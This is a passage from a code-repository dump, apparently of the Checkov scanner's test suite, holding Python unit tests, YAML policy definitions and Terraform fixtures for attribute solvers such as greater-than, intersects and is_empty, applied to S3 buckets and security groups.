    "path": "tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/resources/main.tf",
    "content": "resource \"aws_s3_bucket\" \"b1\" {\n  bucket = \"abc\"\n}\n\nresource \"aws_s3_bucket\" \"b2\" {\n  bucket = \"xyz\"\n}\n\nresource \"aws_s3_bucket\" \"b3\" {\n  bucket = \"ccc\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/greater_than_solver/test_solver.py",
    "content": "import os\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.greater_than_attribute_solver import \\\n    GreaterThanAttributeSolver\nfrom checkov.common.checks_infra.solvers.attribute_solvers.greater_than_or_equal_attribute_solver import \\\n    GreaterThanOrEqualAttributeSolver\nfrom checkov.common.checks_infra.solvers.attribute_solvers.less_than_attribute_solver import LessThanAttributeSolver\nfrom checkov.common.checks_infra.solvers.attribute_solvers.less_than_or_equal_attribute_solver import \\\n    LessThanOrEqualAttributeSolver\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\nfrom parameterized import parameterized_class\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestGreaterThanLessThanSolvers(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestGreaterThanLessThanSolvers, self).setUp()\n\n    def test_greater_than_solver_simple(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = 'resources'\n        check_id = \"GT\"\n        should_pass = ['aws_s3_bucket.b2']\n        should_fail = ['aws_s3_bucket.b1', 'aws_s3_bucket.b3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_less_than_solver_simple(self):\n        root_folder = 'resources'\n        check_id = \"LT\"\n        should_pass = ['aws_s3_bucket.b1']\n        should_fail = ['aws_s3_bucket.b2', 'aws_s3_bucket.b3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_greater_than_or_equal_solver_simple(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = 'resources'\n        check_id = \"GTE\"\n        should_pass = ['aws_s3_bucket.b2', 'aws_s3_bucket.b3']\n        should_fail = ['aws_s3_bucket.b1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_less_than_or_equal_solver_simple(self):\n        root_folder = 'resources'\n        check_id = \"LTE\"\n        should_pass = ['aws_s3_bucket.b1', 'aws_s3_bucket.b3']\n        should_fail = ['aws_s3_bucket.b2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_greater_than_solver_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"GT\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_less_than_solver_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"LT\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_greater_than_or_equal_solver_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"GTE\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_less_than_or_equal_solver_unrendered(self):\n        root_folder = '../../../resources/variable_rendering/unrendered'\n        check_id = \"LTE\"\n        should_pass = []\n        should_fail = []\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_gt_combinations(self):\n        cls = GreaterThanAttributeSolver\n\n        self.assertTrue(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a'))\n\n        self.assertFalse(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a'))\n\n        self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n\n        # undefined types\n        self.assertTrue(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n\n        # attr not exists\n        self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b'))\n\n        # unrendered variable\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 'var.x', 'source_': 'Terraform'}, 'a'))\n\n    def test_gte_combinations(self):\n        cls = GreaterThanOrEqualAttributeSolver\n\n        self.assertTrue(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a'))\n\n        self.assertTrue(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a'))\n\n        self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n\n        # undefined types\n        self.assertTrue(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n\n        # attr not exists\n        self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b'))\n\n        # unrendered variable\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 'var.x', 'source_': 'Terraform'}, 'a'))\n\n    def test_lt_combinations(self):\n        cls = LessThanAttributeSolver\n\n        self.assertFalse(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a'))\n\n        self.assertFalse(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a'))\n\n        self.assertTrue(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n\n        # undefined types\n        self.assertFalse(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n\n        # attr not exists\n        self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b'))\n\n        # unrendered variable\n        self.assertIsNone(cls([], 'a', '1').get_operation({'a': 'var.x', 'source_': 'Terraform'}))\n\n    def test_lte_combinations(self):\n        cls = LessThanOrEqualAttributeSolver\n\n        self.assertFalse(cls([], None, 1)._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 1)._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': 2, 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': '2', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, 1)._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': '1.5', 'source_': 'Terraform'}, 'a'))\n\n        self.assertTrue(cls([], None, 1)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 1)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '1.0')._get_operation({'a': '1.0', 'source_': 'Terraform'}, 'a'))\n\n        self.assertTrue(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 2)._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '2')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, '2')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 'aaa', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, 'xxxx')._get_operation({'a': 1, 'source_': 'Terraform'}, 'a'))\n\n        self.assertFalse(cls([], None, '1')._get_operation({'a': {'abc': 'xyz'}, 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, {'a': {'abc': 'xyz'}})._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n        self.assertFalse(cls([], None, '1')._get_operation({'a': ['xyz'], 'source_': 'Terraform'}, 'a'))\n        self.assertTrue(cls([], None, ['xyz'])._get_operation({'a': '1', 'source_': 'Terraform'}, 'a'))\n\n        # attr not exists\n        self.assertFalse(cls([], None, 2)._get_operation({'a': 1, 'source_': 'Terraform'}, 'b'))\n\n        # unrendered variable\n        self.assertIsNone(cls([], 'a', '1').get_operation({'a': 'var.x', 'source_': 'Terraform'}))\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/ArrayIntersect.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayIntersect\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_xyz\"\n  attribute: \"arr\"\n  operator: \"intersects\"\n  value:\n    - \"allowed1\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/MivedValue.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"MixedValue\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_default_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"intersects\"\n  value: \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/NoneAttribute.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"NoneAttribute\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_subnet\"\n  attribute: \"foo\"\n  operator: \"intersects\"\n  value:\n    - \"bar\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/PublicVMs.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicVMs\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_default_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"intersects\"\n  value:\n    - \"0.0.0.0/0\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/StringAttribute.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"StringAttribute\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_subnet\"\n  attribute: \"availability_zone\"\n  operator: \"intersects\"\n  value: \"us-\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/TagsIntersect.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TagsIntersect\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"all\"\n  attribute: \"tags\"\n  operator: \"intersects\"\n  value:\n    - \"acme\"\n    - \"foo\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/intersects_solver/test_solver.py",
    "content": "import os\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestIntersectsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestIntersectsSolver, self).setUp()\n\n    def test_simple_array_intersection1(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"PublicVMs\"\n        should_pass = ['aws_default_security_group.default_security_group_open']\n        should_fail = ['aws_default_security_group.default_security_group_closed']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_simple_array_intersection2(self):\n        root_folder = '../../../resources/array_test'\n        check_id = \"ArrayIntersect\"\n        should_pass = ['aws_xyz.pass1', 'aws_xyz.pass2']\n        should_fail = ['aws_xyz.fail2', 'aws_xyz.fail3', 'aws_xyz.pass3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_none_attribute(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"NoneAttribute\"\n        should_pass = []\n        should_fail = ['aws_subnet.subnet_public_ip', 'aws_subnet.subnet_not_public_ip']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_string_attribute(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"StringAttribute\"\n        should_pass = ['aws_subnet.subnet_public_ip']\n        should_fail = ['aws_subnet.subnet_not_public_ip']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_mixed_value(self):\n        root_folder = '../../../resources/public_virtual_machines'\n        check_id = \"MixedValue\"\n        should_pass = ['aws_default_security_group.default_security_group_open']\n        should_fail = ['aws_default_security_group.default_security_group_closed']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_tags_intersection(self):\n        root_folder = '../../../resources/tag_includes'\n        check_id = \"TagsIntersect\"\n        should_pass = ['aws_subnet.acme_subnet']\n        should_fail = ['aws_instance.some_instance', 'aws_s3_bucket.acme_s3_bucket']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/SGPorts.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"SGPorts\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress.protocol\"\n      operator: \"is_empty\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress.cidr_blocks\"\n      operator: \"is_empty\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/SGPortsJsonpath.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"SGPortsJsonpath\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress.protocol\"\n      operator: \"jsonpath_is_empty\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress.cidr_blocks\"\n      operator: \"jsonpath_is_empty\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/main.tf",
    "content": "resource \"aws_security_group\" \"aws_security_group_public\" {\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port = 0\n    protocol = \"\"\n    to_port = 0\n  }\n}\n\nresource \"aws_security_group\" \"sg2\" {\n  ingress {\n    from_port = \"5432\"\n    protocol = \"tcp\"\n    cidr_blocks = [\"0.0.0.0/0\"]\n    self = \"false\"\n    to_port = \"1234\"\n  }\n}\n\nresource \"aws_security_group\" \"sg3\" {\n  ingress {\n    from_port = \"5432\"\n    protocol = \"\"\n    cidr_blocks = []\n    self = \"false\"\n    to_port = \"1234\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_empty_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestIsEmptySolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestIsEmptySolver, self).setUp()\n\n    def test_is_empty_solver_simple(self):\n        root_folder = './'\n        check_id = \"SGPorts\"\n        should_pass = ['aws_security_group.sg3']\n        should_fail = ['aws_security_group.aws_security_group_public', 'aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_is_empty_solver_jsonpath(self):\n        root_folder = './'\n        check_id = \"SGPortsJsonpath\"\n        should_pass = ['aws_security_group.sg3']\n        should_fail = ['aws_security_group.aws_security_group_public', 'aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/FalseValue.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"FalseValue\"\nscope:\n  provider: \"Azure\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_storage_account\"\n  attribute: \"allow_blob_public_access\"\n  operator: \"is_false\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/TrueValue.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TrueValue\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_neptune_cluster\"\n  attribute: \"skip_final_snapshot\"\n  operator: \"is_false\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_false_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestIsFalse(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestIsFalse, self).setUp()\n\n    def test_is_false(self):\n        root_folder = '../../../resources/boolean_test'\n        check_id = \"FalseValue\"\n        should_pass = ['azurerm_storage_account.fail3', 'azurerm_storage_account.pass1', 'azurerm_storage_account.pass2']\n        should_fail = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestIsFalse, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                               check_id=check_id)\n\n    def test_is_true(self):\n        root_folder = '../../../resources/encryption'\n        check_id = \"TrueValue\"\n        should_pass = []\n        should_fail = ['aws_neptune_cluster.unencrypted_neptune', 'aws_neptune_cluster.encrypted_neptune']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestIsFalse, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                               check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/SGPorts.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"SGPorts\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_security_group\"\n  attribute: \"ingress.protocol\"\n  operator: \"is_not_empty\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/main.tf",
    "content": "resource \"aws_security_group\" \"aws_security_group_public\" {\n  ingress {\n    cidr_blocks = [\"0.0.0.0/0\"]\n    from_port = 0\n    protocol = \"\"\n    to_port = 0\n  }\n}\n\nresource \"aws_security_group\" \"sg2\" {\n  ingress {\n    from_port = \"5432\"\n    protocol = \"tcp\"\n    security_groups = [\n      \"sg-id-0\"\n    ]\n    self = \"false\"\n    to_port = \"1234\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_not_empty_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestIsNotEmptySolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestIsNotEmptySolver, self).setUp()\n\n    def test_is_not_empty_solver_simple(self):\n        root_folder = './'\n        check_id = \"SGPorts\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.aws_security_group_public']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/FalseValue.yaml",
